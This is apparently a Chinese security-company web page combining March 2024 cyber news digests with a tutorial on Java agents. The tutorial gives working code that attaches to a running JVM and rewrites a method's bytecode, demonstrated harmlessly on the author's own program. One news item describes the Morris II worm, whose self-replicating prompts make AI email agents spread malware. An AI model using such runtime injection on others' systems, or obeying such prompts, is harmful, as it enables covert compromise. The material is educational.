1、乌克兰情报部门宣称成功入侵俄罗斯国防部 https://gur.gov.ua/content/soft-shyfry-sekretni-dokumenty-kiberfakhivtsi-hur-zlamaly-minoborony-rosii.html 乌克兰国防部主要情报总局(GUR)宣布,其网络专家成功侵入俄罗斯国防部的服务器,并获得了大量机密文件。这些文件披露了俄罗斯国防部的领导层,包括俄罗斯国防部各部门的其他高级官员。这包括代表、助理和专家,以及使用被称为“官僚”的电子文件管理系统的个人。据悉,这些文件包括俄国防部副部长Timur Vadimovich Ivanov的官方文件。GUR表示,这次网络攻击的成功,使得乌克兰情报 2、新的CHAVECLOAK银行木马通过恶意PDF针对巴西用户 https://www.fortinet.com/blog/threat-research/banking-trojan-chavecloak-targets-brazil 研究人员近日发现,一种名为“CHAVECLOAK”的新型银行木马正在通过恶意PDF文件针对巴西用户。这种攻击涉及下载ZIP文件,并使用DLL侧加载技术执行最终的恶意软件。CHAVECLOAK专门设计用来窃取与金融活动相关的敏感信息。攻击流程如下:受害者被诱导点击PDF中的按钮以查看和签署附件文档,但实际上PDF中嵌入了恶意下载链接。这个链接通过“Goo.su”这样的免费链接缩短服务进行处理,最终重定向到一个ZIP文件的下 3、TA577组织转向盗取NTLM认证信息 https://www.proofpoint.com/uk/blog/threat-insight/ta577s-unusual-attack-chain-leads-ntlm-data-theft 研究人员发现,TA577这一威胁行为体现出不寻常的攻击链路,其目标是盗取NT LAN Manager(NTLM)认证信息。TA577通过电子邮件中的压缩HTML附件,对全球数百个组织发起了数万条信息攻击。这些附件一旦被打开,就会触发系统尝试连接到外部的Server Message Block(SMB)服务器。TA577的目的是从SMB服务器获取NTLMv2挑战/响应对,以窃取NTLM哈希值。这些 4、研究人员发现一种自传播的零点击Gen AI蠕虫 https://sites.google.com/view/compromptmized 研究人员发现了一种名为“Morris II”的新型Gen AI蠕虫,它能够通过智能提示工程和注入技术欺骗生成式AI应用程序,从而传播恶意软件。这种蠕虫利用对抗性自复制提示,导致生成式AI系统在响应时复制输入作为输出,进而将恶意软件传播给其他AI代理。研究人员强调,设计生成式AI生态系统时,应考虑到由底层Gen AI层引起的威胁。这种蠕虫的自我复制能力使其能够在网络中自主传播,无需攻击者进一步操作。研究人员展示了“Morris II”如何渗透并利用生成式AI驱动的电子邮件系统,展示了其在没有直接人类监督的 5、黑客滥用QEMU隧道隐藏网络流量 https://securelist.com/network-tunneling-with-qemu/111803/ 研究人员发现,黑客在针对一家大型公司的网络攻击中滥用开源虚拟化平台QEMU作为隧道工具。这种攻击涉及使用“Angry IP Scanner”进行网络扫描、“mimikatz”进行凭证盗窃,并利用QEMU创建复杂的网络隧道设置,以建立隐蔽的通信渠道。这种隧道通常加密流量,以逃避防火墙和入侵检测系统的监控。研究人员指出,攻击者利用QEMU的能力来模拟操作系统和硬件平台,将其操纵为创新的隧道机制。这一发现突显了网络安全领域中的新挑战,以及保护组织免受此类隐蔽攻击的重要性。 6、苹果修复iPhone遭攻击的两个零日漏洞 https://support.apple.com/en-us/HT214081 苹果公司近日发布了紧急安全更新,修复了两个在攻击中被利用的iOS零日漏洞。这两个漏洞被发现存在于WebKit浏览器引擎和操作系统的核心——内核中。第一个零日漏洞(追踪编号CVE-2024-23225)允许拥有内核读写权限的攻击者绕过内核内存保护。同样,第二个零日漏洞(追踪编号CVE-2024-23296)存在于运行在所有苹果芯片或嵌入式设备上的RTKitOS中。如果被具有内核读写权限的攻击者利用,这个漏洞也能被用来绕过内核内存保护。尽管苹果公司目前对这些漏洞的具体细节保持谨慎,以便用户有时间更新他们的设备,但强 7、韩国情报机关称两家芯片公司数据被朝鲜黑客窃取 https://www.nis.go.kr:4016/CM/1_4/view.do?seq=286 据韩国国家情报院(NIS)透露,朝鲜黑客侵入了韩国的两家芯片设备制造商的服务器,窃取了产品设计图和设施照片。这次网络攻击发生在去年12月和今年2月,被认为是朝鲜为了规避国际制裁并自行生产用于武器计划的半导体芯片所采取的行动。NIS表示,朝鲜可能正面临由于制裁而难以获取半导体的困境,因此试图自产芯片,尤其是用于其卫星和导弹等武器计划的芯片。此外,NIS还警告其他芯片制造业公司提防可能的网络攻击。朝鲜一直否认参与网络犯罪,但韩国多次指责其黑客通过网络攻击窃取大量资金,通常是加密货币,以资助其政权和 8、JetBrains TeamCity关键漏洞在近日被修复 https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/ 近日,研究人员发现JetBrains TeamCity CI/CD服务器存在两个严重的身份验证绕过漏洞,分别为CVE-2024-27198和CVE-2024-27199。CVE-2024-27198是由于替代路径问题导致的身份验证绕过漏洞,其CVSS基础评分为9.8(严重)。CVE-20 9、针对亚太地区!iOS 木马开始窃取面部识别数据 https://www.freebuf.com/articles/network/392979.html 2023 年 10 月,针对越南五十余家金融机构进行攻击的安卓银行木马 GoldDigger 浮出水面。通过对其持续跟踪分析,研究人员发现一整套针对亚太地区的银行木马。其中,研究人员发现了一个专门针对 iOS 用户的新型木马,被命名为 GoldPickaxe.iOS。GoldPickaxe 不仅有安卓版本,也覆盖了 iOS 平台。GoldPickaxe.iOS 木马的典型特征就是能够收集面部识别数据、身份的证件并拦截短信,尽管安卓平台的木马早就有这些功能。 10、全国首部公共安全摄像头管理地方性法规施行 https://www.thepaper.cn/newsDetail_forward_26542371 《株洲市公共安全视频图像信息系统管理条例》3月1日起在湖南省株洲市施行,这被称作是全国第一部管理公共安全摄像头的地方性法规。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
Java agent技术的注入利用与避坑点
什么是Java agent技术? Java代理(Java agent)是一种Java技术,它允许开发人员在运行时以某种方式修改或增强Java应用程序的行为。Java代理通过在Java虚拟机(JVM)启动时以"代理"(agent)的形式加载到JVM中,以监视、修改或甚至完全改变目标应用程序的行为。 Java agent 可以做什么? 安全监控和审计: 通过Java代理,可以在应用程序中注入代码以监视其行为并记录关键事件。这可以用于安全审计目的,以确保应用程序不受到恶意行为或违规操作的影响。 安全验证和授权: Java代理可以拦截对受保护资源的访问,并执行安全验证和授权操作。通过代理,可以实现访问控制策略,确保只有经过授权的用户或系统可以访问特定资源。 安全加固: 通过Java代理,可以对应用程序进行安全加固,例如实时检测和防御攻击,包括代码注入、SQL注入、跨站点脚本攻击等。代理可以拦截请求,并根据安全策略进行处理,从而提高应用程序的安全性。 加密和解密: Java代理可以用于实现端到端的数据加密和解密,保护敏感数据在传输过程中的安全性。代理可以拦截数据流,对数据进行加密或解密操作,以确保数据在传输过程中不会被窃取或篡改。 安全日志记录: Java代理可以用于记录应用程序的安全日志,包括用户操作、异常事件、安全警报等。通过代理,可以将安全日志发送到中央日志服务器进行集中管理和分析,以便及时发现和应对安全威胁。 静态Agent使用 创建Maven项目,写一个类PreMainTraceAgent,使用Maven编译并打成jar包。 package com.example; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; public class PreMainTraceAgent { public static void premain(String agentArgs, Instrumentation inst) { System.out.println("agentArgs : " + agentArgs); inst.addTransformer(new DefineTransformer(), true); } static class DefineTransformer implements ClassFileTransformer { static int counts=0; @Override public byte[] transform( ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer ) throws IllegalClassFormatException { System.out.println("premain load Class:" + className); System.out.println("filter "+(counts++)+" class"); return classfileBuffer; } } } 打成jar包之后我们要注意META-INF目录下的MSNIFEST.MF文件,MANIFEST.MF文件是 Java 归档文件(如 JAR文件)的一部分,用于描述归档文件的元数据信息和配置。它通常位于归档文件的根目录下。 一些常见的属性我们需要了解 Manifest-Version: 描述了 MANIFEST.MF 文件的版本。 Created-By: 描述了创建该归档文件的工具名称和版本。 Main-Class: 描述了可执行 JAR 文件的入口类(Main类),当您执行 JAR 文件时,Java虚拟机会自动寻找并执行该类中的main方法。 Class-Path: 描述了归档文件中包含的依赖项 JAR 文件的路径,以便 Java 虚拟机在运行时能够找到并加载这些依赖项。 在构建和部署 Java 应用程序时,MANIFEST.MF文件可以帮助指定各种元数据信息,使得应用程序可以更好地被管理和执行。例如,当您创建一个可执行的JAR 文件时,通过指定 Main-Class 属性,可以告诉 Java 虚拟机该 JAR文件的入口点是哪个类。 另外创建一个项目,写一个主函数,内容随意,配置虚拟机选项。这里-javaagent:后面跟上上面项目jar包的绝对路径。 运行结果如图: 可以看到premain方法中的代码成功的执行在了Main函数之前。这种使用premain方法在Main函数前执行的也被成为静态agent 动态Agent使用 首先是被代理部分(单独的项目) package com.example; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; public class AgentMain { public static void agentmain(String agentArgs, Instrumentation instrumentation) { instrumentation.addTransformer(new MyTransformer(),true); } public static class MyTransformer implements ClassFileTransformer { static int count = 0; @Override public byte[] transform( ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { System.out.println("hello world");//这里就是我们能看到的输出。 return classfileBuffer; } } } 接下来就是使用Maven打成jar包 默认情况下META-INFMANIFEST.MF文件中有这些内容 Manifest-Version: 1.0 Created-By: Maven JAR Plugin 3.3.0 Build-Jdk-Spec: 11 但是这些是不够的,我们需要指出被代理的类。 Manifest-Version: 1.0 Agent-Class: com.example.AgentMain Can-Redefine-Classes: true Can-Retransform-Classes: true Agent-Class:指定了代理的入口类。这个属性告诉 Java 虚拟机代理应该从哪个类的 premain 或 agentmain方法开始执行。premain 方法用于静态代理(在 JVM启动时加载),而 agentmain 方法用于动态代理(在 JVM运行时加载)。代理的入口类必须包含其中一个方法。 Can-Redefine-Classes:指定了代理是否可以重新定义类。如果设置为 true,代理将允许重新定义已经加载的类,这意味着你可以修改已经加载的类的字节码。这对于某些代理操作,如热代码替换,非常有用。 Can-Retransform-Classes:指定了代理是否可以重新转换类。如果设置为 true,代理将允许重新转换已经加载的类,这意味着你可以多次修改已经加载的类的字节码。这对于一些特定的代理操作也是非常有用的,如AOP(面向切面编程)。 因为是动态加载所以我们不需要在虚拟机启动选项中指定jar包的路径。 接下来写主程序的测试类 package org.example; import com.sun.tools.attach.VirtualMachine; import java.io.File; import java.lang.management.ManagementFactory; public class TestMain { public static void main(String[] args) { String agentJarPath = "C:Users86186DesktopstudyJavauntitledtargetuntitled-1.0-SNAPSHOT.jar"; File agentJarFile = new File(agentJarPath); if (!agentJarFile.exists()) { System.err.println("Agent JAR file not found."); return; } String name = ManagementFactory.getRuntimeMXBean().getName(); String pid = name.split("@")[0]; if (pid == null) { System.err.println("Unable to find process ID."); return; } String targetClassName = "AgentMain"; try { VirtualMachine vm = VirtualMachine.attach(pid); vm.loadAgent(agentJarPath,targetClassName); vm.detach(); } catch (Exception e) { e.printStackTrace(); } } } 这里在获取进程号的时候会因为版本的不同而出现错误,java9以下默认是正常的,java9以上会出现报错,我们需要在虚拟机启动参数中加上-Djdk.attach.allowAttachSelf=true。 运行结果: 为什么结果中有多个helloworld 这里有讲一下为什么我们在代码中之用了一次sout,但是在结果中却出现了多个helloworld。 MyTransformer类中的transform方法中的输出语句只会在类被加载时执行一次,但是它会对每个类文件调用一次。由于一个类可能会由多个ClassLoader加载,或者同一个ClassLoader可能会加载多次,因此会导致多次输出。 这种情况通常在Java应用程序中使用了多个ClassLoader时发生,例如Web应用程序中的热部署或者OSGi环境中。每次类被加载,transform方法都会被调用一次,因此会看到多次输出。 我们可以修改一下代码做测试,这里我在每个helloworld后添加了被加载类的名字 修改后的输出结果: 实战示例:修改目标虚拟机中执行的程序 第一步 首先我们写出我们正在执行的程序:循环打印helloworld。 package org.example; import static java.lang.Thread.sleep; public class Main { public static void main(String[] args) throws InterruptedException { while(true) { hello(); sleep(1500); } } public static void hello(){ System.out.println("Hello World!"); } } 第二步 准备我们的agentmain和ClassFileTransformer实现类。 package com.example; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException; import java.security.ProtectionDomain; public class AgentMain { public static void agentmain(String agentArgs, Instrumentation instrumentation) throws UnmodifiableClassException { Class [] classes = instrumentation.getAllLoadedClasses(); //获取目标JVM加载的全部类 for(Class cls : classes){ if (cls.getName().equals("org.example.Main")){ instrumentation.addTransformer(new HackTransform(),true); instrumentation.retransformClasses(cls); } // System.out.println(cls.getName()); } } } package com.example; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import java.io.IOException; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain; public class HackTransform implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { if (className.equals("org/example/Main")) { try { System.out.println(className); ClassPool classPool = ClassPool.getDefault(); if (classBeingRedefined != null) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); } CtClass ctClass = classPool.get("org.example.Main"); System.out.println(ctClass); CtMethod ctMethod = ctClass.getDeclaredMethod("hello"); //设置方法体 String body = "{System.out.println("[+]Hacker!!");}"; ctMethod.setBody(body); ctClass.defrost(); return ctClass.toBytecode(); } catch (Exception e) { e.printStackTrace(); } } return null; } } 第三步 把第二步中的两个类打成jar包。并修改其中MANIFEST.MF中的内容。 MANIFEST.MF中的内容 Manifest-Version: 1.0Agent-Class:com.example.AgentMainCan-Redefine-Classes: trueCan-Retransform-Classes:true 第四步 写我们的注入代码 package org.example; import com.sun.tools.attach.*; import java.io.IOException; import java.util.List; public class inject { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { //调用VirtualMachine.list()获取正在运行的JVM列表 List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list) { System.out.println(vmd.displayName()); if (vmd.displayName().equals("org.example.Main")) { //连接指定JVM VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); String agentJarPath = "C:Users86186DesktopstudyJavauntitledtargetuntitled-1.0-SNAPSHOT.jar"; //加载Agent virtualMachine.loadAgent(agentJarPath,"com.example.AgentMain"); //断开JVM连接 virtualMachine.detach(); } } } } 第五步 执行即可(先运行主java程序,后运行注入程序)
网络安全日报 2024年03月06日
1、朝鲜黑客入侵两家韩国芯片公司窃取工程数据 https://www.nis.go.kr:4016/CM/1_4/view.do?seq=286 据韩国国家情报院(NIS)透露,朝鲜黑客侵入了韩国的两家芯片设备制造商的服务器,窃取了产品设计图和设施照片。这次网络攻击发生在去年12月和今年2月,被认为是朝鲜为了规避国际制裁并自行生产用于武器计划的半导体芯片所采取的行动。NIS表示,朝鲜可能正面临由于制裁而难以获取半导体的困境,因此试图自产芯片,尤其是用于其卫星和导弹等武器计划的芯片。此外,NIS还警告其他芯片制造业公司提防可能的网络攻击。朝鲜一直否认参与网络犯罪,但韩国多次指责其黑客通过网络攻击窃取大量资金,通常是加密货币,以资助其政权和 2、JetBrains TeamCity关键漏洞在近日被修复 https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/ 近日,研究人员发现JetBrains TeamCity CI/CD服务器存在两个严重的身份验证绕过漏洞,分别为CVE-2024-27198和CVE-2024-27199。CVE-2024-27198是由于替代路径问题导致的身份验证绕过漏洞,其CVSS基础评分为9.8(严重)。CVE-20 3、Hugging Face平台发现百余恶意AI模型 https://jfrog.com/blog/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor/ 研究人员在Hugging Face平台上发现了超过100个恶意的人工智能/机器学习(AI/ML)模型。这些模型中的一些能够在受害者的机器上执行代码,为攻击者提供了持久的后门。研究人员表示,这些模型的载荷使攻击者能够在受害者的机器上获得一个shell,从而完全控制受害者的机器,这被通常称为“后门”。这种悄无声息的渗透可能会让攻击者接触到关键的内部系统,并为大规模数据泄露甚至企业间谍活动 4、印度UPI系统遭洗钱应用程序滥用 https://www.cloudsek.com/whitepapers-reports/shadow-banking-in-your-pocket-exposing-android-app-used-by-money-mules 据研究人员的报告,网络犯罪分子正在利用一个名为XHelper的Android应用程序,在印度招募“洗钱骡子”,策划一场大规模的洗钱计划。这个恶意应用程序是招募和管理这些洗钱骡子的“关键工具”。通过这个应用程序,犯罪分子能够在不知情的用户中间转移资金,从而进行洗钱活动。这个洗钱计划的揭露,凸显了印度统一支付接口(UPI)系统面临的安全挑战。UPI作为一个创新的支付系 5、美国运通信用卡遭遇第三方数据泄露 https://www.mass.gov/doc/assigned-data-breach-number-2024-210-american-express-travel-related-services-company-inc/download 美国运通公司近日发布数据泄露通知,披露其第三方商户的支付硬件遭黑客攻击,导致客户信用卡信息可能被泄露。据《数字趋势》报道,这次数据泄露发生在马萨诸塞州,涉及美国运通旅游相关服务公司。受影响的商户遭受了未经授权的系统访问,客户的信用卡信息,包括账号、姓名和卡片有效期数据可能已经暴露。美国运通强调,被黑客攻击的是接受支付的硬件,而非美国运通直接控制的服 6、CrowdStrike全球威胁报告:云入侵上升75% https://www.freebuf.com/articles/paper/393157.html 近日,CrowdStrike发布了《2024年全球威胁报告》,揭示了网络攻击的最新趋势。报告指出,网络攻击生态系统仍在持续增长,CrowdStrike在2023年观察到了34个新的威胁参与者。同时,攻击者正越来越多地瞄准云环境,以满足其牟利需求,某些情况下甚至允许攻击者到达内部部署的服务器。 7、德国警方关闭该国最大的地下犯罪市场论坛 https://www.freebuf.com/news/393368.html inforisktoday网站消息,德国警方表示,在历时2年的调查后,他们逮捕了该国最大的网络犯罪地下市场之一的幕后操纵者,并查封了其网站域名。 8、乌克兰GUR称入侵了俄罗斯国防部服务器 https://www.freebuf.com/news/393297.html 近日,乌克兰国防部情报总局(GUR)声称入侵了俄罗斯国防部(Minoborony)的内部服务器,并成功窃取大量敏感文件。 9、研究表明14%的代码库存在超过10年的漏洞 http://www.anquan419.com/knews/24/6657.html 新思科技(Synopsys)发布的“开源安全和风险分析”(OSSRA) 报告分析了来自17个行业的1,000多个商业代码库,该研究表明91%的代码库被发现包含10个或更多版本过时的组件,有49%的代码库包含在过去两年内没有开发活动的组件,14%的代码库存在超过10年的漏洞。这意味着企业需要实施强大的安全策略,以更好地管理使用这些库所带来的风险。 10、亚马逊在售数10 余款智能门铃曝安全漏洞 https://www.consumerreports.org/home-garden/home-security-cameras/video-doorbells-sold-by-major-retailers-have-security-flaws-a2579288796/ 每月有数千个这样的视频门铃在亚马逊和其他在线市场上销售,包括沃尔玛、西尔斯以及全球受欢迎的市场Shein和Temu。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页